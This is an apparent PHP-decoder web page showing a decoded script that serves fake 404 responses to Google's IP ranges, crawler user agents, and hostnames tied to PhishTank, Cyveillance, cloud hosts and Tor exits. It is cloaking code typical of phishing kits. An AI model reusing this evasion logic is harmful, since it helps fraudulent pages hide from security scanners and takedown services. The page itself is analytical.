Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? /* */ $bannedIP = array("^66.102.*.*", "^38.100.*.*", "^38.1..

Decoded Output download

<? 
/*    
                
*/ 
 
 
$bannedIP = array("^66.102.*.*", "^38.100.*.*", "^38.122.*.*" , "^206.80.*.*" , "^107.170.*.*", 
 "^149.20.*.*", "^38.105.*.*", "^74.125.*.*",  "^66.150.14.*", 
 "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*",  
"^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", 
 "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", 
 "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", 
 "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", 
 "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", 
 "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", 
 "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", 
 "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", 
 "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", 
 "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*",  
"^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*",  
"^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*",  
"^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", 
 "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*",  
"^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", 
 "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*",  
"^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*" , "^209.19.*.*" ,"^173.244.*.*"); 
if(in_array($_SERVER['REMOTE_ADDR'],$bannedIP)) { 
     // this is for exact matches of IP address in array 
     header('HTTP/1.0 404 Not Found'); 
     exit(); 
} else { 
     // this is for wild card matches 
     foreach($bannedIP as $ip) { 
          if(preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])){ 
               header('HTTP/1.0 404 Not Found'); 
               echo("<h1>404 Not Found</h1>The page that you have requested could not be found."); 
          } 
     } 
} 
 
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']); 
$blocked_words = array("above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit",); 
foreach($blocked_words as $word) { 
    if (substr_count($hostname, $word) > 0) { 
		header("HTTP/1.0 404 Not Found"); 
        echo("<h1>404 Not Found</h1>The page that you have requested could not be found."); 
 
    }   
} 
 
 
 
// This Willl Block New ips that send lot of hits (Bots) 
 
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']); 
$blocked_words = array("above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit",); 
foreach($blocked_words as $word) { 
    if (substr_count($hostname, $word) > 0) { 
		header("HTTP/1.0 404 Not Found"); 
        echo("<h1>404 Not Found</h1>The page that you have requested could not be found."); 
 
    }   
} 
if( !empty($_SERVER['HTTP_USER_AGENT']) ) { 
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); 
    foreach($userAgents as $agent) 
        if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) { 
            header('HTTP/1.0 404 Not Found'); 
            exit; 
      }} 
$bannedIP = array("^66.102.*.*", "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^74.125.*.*",  "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*"); 
if(in_array($_SERVER['REMOTE_ADDR'],$bannedIP)) { 
     header('HTTP/1.0 404 Not Found'); 
     exit(); 
} else { 
     foreach($bannedIP as $ip) { 
          if(preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])){ 
               header('HTTP/1.0 404 Not Found'); 
               echo("<h1>404 Not Found</h1>The page that you have requested could not be found."); 
          } 
     } 
} 
 
?>

Did this file decode correctly?

Original Code

<?
/*   
               
*/


$bannedIP = array("^66.102.*.*", "^38.100.*.*", "^38.122.*.*" , "^206.80.*.*" , "^107.170.*.*",
 "^149.20.*.*", "^38.105.*.*", "^74.125.*.*",  "^66.150.14.*",
 "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", 
"^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*",
 "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*",
 "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*",
 "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*",
 "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*",
 "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*",
 "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*",
 "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*",
 "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*",
 "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", 
"^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", 
"^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", 
"^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*",
 "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", 
"^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*",
 "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", 
"^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*" , "^209.19.*.*" ,"^173.244.*.*");
if(in_array($_SERVER['REMOTE_ADDR'],$bannedIP)) {
     // this is for exact matches of IP address in array
     header('HTTP/1.0 404 Not Found');
     exit();
} else {
     // this is for wild card matches
     foreach($bannedIP as $ip) {
          if(preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])){
               header('HTTP/1.0 404 Not Found');
               echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");
          }
     }
}

$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$blocked_words = array("above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit",);
foreach($blocked_words as $word) {
    if (substr_count($hostname, $word) > 0) {
		header("HTTP/1.0 404 Not Found");
        echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");

    }  
}



// This Willl Block New ips that send lot of hits (Bots)

$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$blocked_words = array("above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit",);
foreach($blocked_words as $word) {
    if (substr_count($hostname, $word) > 0) {
		header("HTTP/1.0 404 Not Found");
        echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");

    }  
}
if( !empty($_SERVER['HTTP_USER_AGENT']) ) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    foreach($userAgents as $agent)
        if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) {
            header('HTTP/1.0 404 Not Found');
            exit;
      }}
$bannedIP = array("^66.102.*.*", "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^74.125.*.*",  "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*");
if(in_array($_SERVER['REMOTE_ADDR'],$bannedIP)) {
     header('HTTP/1.0 404 Not Found');
     exit();
} else {
     foreach($bannedIP as $ip) {
          if(preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])){
               header('HTTP/1.0 404 Not Found');
               echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");
          }
     }
}

?>

Function Calls

in_array 1

Variables

$bannedIP [{'key': 0, 'value': '^66.102.*.*'}, {'key': 1, 'value': '^38.100.*.*'}, {'key': 2, 'value': '^38.122.*.*'}, {'key': 3, 'value': '^206.80.*.*'}, {'key': 4, 'value': '^107.170.*.*'}, {'key': 5, 'value': '^149.20.*.*'}, {'key': 6, 'value': '^38.105.*.*'}, {'key': 7, 'value': '^74.125.*.*'}, {'key': 8, 'value': '^66.150.14.*'}, {'key': 9, 'value': '^54.176.*.*'}, {'key': 10, 'value': '^38.100.*.*'}, {'key': 11, 'value': '^184.173.*.*'}, {'key': 12, 'value': '^66.249.*.*'}, {'key': 13, 'value': '^128.242.*.*'}, {'key': 14, 'value': '^72.14.192.*'}, {'key': 15, 'value': '^208.65.144.*'}, {'key': 16, 'value': '^74.125.*.*'}, {'key': 17, 'value': '^209.85.128.*'}, {'key': 18, 'value': '^216.239.32.*'}, {'key': 19, 'value': '^74.125.*.*'}, {'key': 20, 'value': '^207.126.144.*'}, {'key': 21, 'value': '^173.194.*.*'}, {'key': 22, 'value': '^64.233.160.*'}, {'key': 23, 'value': '^72.14.192.*'}, {'key': 24, 'value': '^66.102.*.*'}, {'key': 25, 'value': '^64.18.*.*'}, {'key': 26, 'value': '^194.52.68.*'}, {'key': 27, 'value': '^194.72.238.*'}, {'key': 28, 'value': '^62.116.207.*'}, {'key': 29, 'value': '^212.50.193.*'}, {'key': 30, 'value': '^69.65.*.*'}, {'key': 31, 'value': '^50.7.*.*'}, {'key': 32, 'value': '^131.212.*.*'}, {'key': 33, 'value': '^46.116.*.* '}, {'key': 34, 'value': '^62.90.*.*'}, {'key': 35, 'value': '^89.138.*.*'}, {'key': 36, 'value': '^82.166.*.*'}, {'key': 37, 'value': '^85.64.*.*'}, {'key': 38, 'value': '^85.250.*.*'}, {'key': 39, 'value': '^89.138.*.*'}, {'key': 40, 'value': '^93.172.*.*'}, {'key': 41, 'value': '^109.186.*.*'}, {'key': 42, 'value': '^194.90.*.*'}, {'key': 43, 'value': '^212.29.192.*'}, {'key': 44, 'value': '^212.29.224.*'}, {'key': 45, 'value': '^212.143.*.*'}, {'key': 46, 'value': '^212.150.*.*'}, {'key': 47, 'value': '^212.235.*.*'}, {'key': 48, 'value': '^217.132.*.*'}, {'key': 49, 'value': '^50.97.*.*'}, {'key': 50, 'value': '^217.132.*.*'}, {'key': 51, 'value': '^209.85.*.*'}, {'key': 52, 'value': '^66.205.64.*'}, {'key': 53, 'value': '^204.14.48.*'}, {'key': 54, 'value': '^64.27.2.*'}, {'key': 55, 'value': '^67.15.*.*'}, {'key': 56, 'value': '^202.108.252.*'}, {'key': 57, 'value': '^193.47.80.*'}, {'key': 58, 'value': '^64.62.136.*'}, {'key': 59, 'value': '^66.221.*.*'}, {'key': 60, 'value': '^64.62.175.*'}, {'key': 61, 'value': '^198.54.*.*'}, {'key': 62, 'value': '^192.115.134.*'}, {'key': 63, 'value': '^216.252.167.*'}, {'key': 64, 'value': '^193.253.199.*'}, {'key': 65, 'value': '^69.61.12.*'}, {'key': 66, 'value': '^64.37.103.*'}, {'key': 67, 'value': '^38.144.36.*'}, {'key': 68, 'value': '^64.124.14.*'}, {'key': 69, 'value': '^206.28.72.*'}, {'key': 70, 'value': '^209.73.228.*'}, {'key': 71, 'value': '^158.108.*.*'}, {'key': 72, 'value': '^168.188.*.*'}, {'key': 73, 'value': '^66.207.120.*'}, {'key': 74, 'value': '^167.24.*.*'}, {'key': 75, 'value': '^192.118.48.*'}, {'key': 76, 'value': '^67.209.128.*'}, {'key': 77, 'value': '^12.148.209.*'}, {'key': 78, 'value': '^12.148.196.*'}, {'key': 79, 'value': '^193.220.178.*'}, {'key': 80, 'value': '68.65.53.71'}, {'key': 81, 'value': '^198.25.*.*'}, {'key': 82, 'value': '^64.106.213.*'}, {'key': 83, 'value': '^209.19.*.*'}, {'key': 84, 'value': '^173.244.*.*'}]

Stats

MD5 4c0111641f95fe37e226a0c15c1c526f
Eval Count 0
Decode Time 109 ms